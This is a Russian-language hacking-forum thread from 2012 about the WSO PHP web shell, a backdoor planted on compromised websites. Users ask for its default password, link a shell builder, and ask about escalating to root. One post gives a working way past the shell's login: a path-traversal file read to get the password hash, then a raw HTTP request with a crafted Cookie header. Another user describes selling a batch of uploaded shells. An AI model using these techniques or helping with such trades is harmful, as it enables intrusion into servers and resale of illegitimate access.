ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
21.10.2012, 20:47
|
|
Guest
Сообщений: n/a
Провел на форуме:
290351
Репутация:
173
|
|
Сообщение от null
null said:
Какой пароль стоит по умолчанию для входа или, где его ставить?
|
|
|
|
22.10.2012, 01:17
|
|
Guest
Сообщений: n/a
Провел на форуме:
36927
Репутация:
5
|
|
Сообщение от null
null said:
Какой пароль стоит по умолчанию для входа или, где его ставить?
Открой исходник, там всё есть
или задай сам, с нужными опциями
http://kronus.me/cn/wso-builder/1.04/
|
|
|
|
23.10.2012, 04:56
|
|
Новичок
Регистрация: 29.03.2010
Сообщений: 0
Провел на форуме:
9648
Репутация:
0
|
|
Сообщение от null
null said:
Какой пароль стоит по умолчанию для входа или, где его ставить?
root
|
|
|
23.10.2012, 21:43
|
|
Guest
Сообщений: n/a
Провел на форуме:
17692
Репутация:
0
|
|
как его научить работать с suid файлами?
|
|
|
|
24.10.2012, 06:45
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033
Репутация:
8
|
|
Сообщение от dean999
dean999 said:
как его научить работать с suid файлами?
Используя вот это
|
|
|
|
24.10.2012, 10:28
|
|
Guest
Сообщений: n/a
Провел на форуме:
17692
Репутация:
0
|
|
WSO 2.5 modif - выдает ошибку "Query did not return anything"
что в строке PHP указать? я вроде указываю путь из php.ini - но все равно, если ввести 2 поля верхних то он показывает что есть рут, поле 3 ввожу, и все ошибка.
Думаю что то связано с PHP Интерпретатором, wrapper.php в связке с wso_root.php, перестали работать, можете помочь?)
|
|
|
|
24.10.2012, 13:35
|
|
Guest
Сообщений: n/a
Провел на форуме:
124363
Репутация:
11
|
|
Сообщение от dean999
dean999 said:
WSO 2.5 modif - выдает ошибку "Query did not return anything"
что в строке PHP указать? я вроде указываю путь из php.ini - но все равно, если ввести 2 поля верхних то он показывает что есть рут, поле 3 ввожу, и все ошибка.
Думаю что то связано с PHP Интерпретатором, wrapper.php в связке с wso_root.php, перестали работать, можете помочь?)
напиши в личку,может помогу
|
|
|
|
25.10.2012, 14:14
|
|
Guest
Сообщений: n/a
Провел на форуме:
12830
Репутация:
10
|
|
А чего нет в 2.5 ? Зачем вообще обновление?
|
|
|
|
01.11.2012, 19:07
|
|
Guest
Сообщений: n/a
Провел на форуме:
262707
Репутация:
935
|
|
Не то, что бы это дикий пиздец, но если вдруг, вы забыли пароль к своему шеллу WSO, и у вас есть возможность прочитать исходник, можно увидеть вполне элементарную строчку:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]$auth_pass[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"5deeb7c8589e337d46a3b2f807af33fd"[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]# md5(пароль)[/COLOR][/COLOR]
Но к сожалению если ваша память коротка, а cmd5 и подобные сервисы не в силах сбрутить пароль по типу " md5(FmST[3XjPW) = 5deeb7c8589e337d46a3b2f807af33fd", а текстовый документ с исходным паролем чудом не сохранился. Расстраиваться не нужно. Достаточно послать в запросе в заголовке Cookie md5 сумму хоста, и прочитанный хеш.
К примеру, шелл тут: http://google.com/images/wso.php
Возможность прочитать исходник тут: http://google.com/index.php?file=../images/wso.php
Получаем:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]$auth_pass[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"5deeb7c8589e337d46a3b2f807af33fd"[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]# md5(пароль)[/COLOR][/COLOR]
Посылаем запрос:
Код:
Code:
GET /images/wso.php HTTP/1.1
Host: google.com
Cookie: 1d5920f4b44b27a802bd77c4f0536f5a=5deeb7c8589e337d46a3b2f807af33fd
Меняем пароль, на тот который в состоянии запомнить, и всё.
Не знаю кому эта информация сможет пригодиться, но пусть полежит здесь. |
|
|
|
01.11.2012, 19:19
|
|
Guest
Сообщений: n/a
Провел на форуме:
12830
Репутация:
10
|
|
У меня сделка через 4 часа..
Человек оплачивает хххх$ с протекцией, потом получает пачку шеллов залитый, потом передаёт код, а потом я передаю пароль. Вот я и думаю теперь насколько вероятно для него будет не дать мне код протекции (человек сомнительный, если честно), а просто попытаться расшифровать хэш =)
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
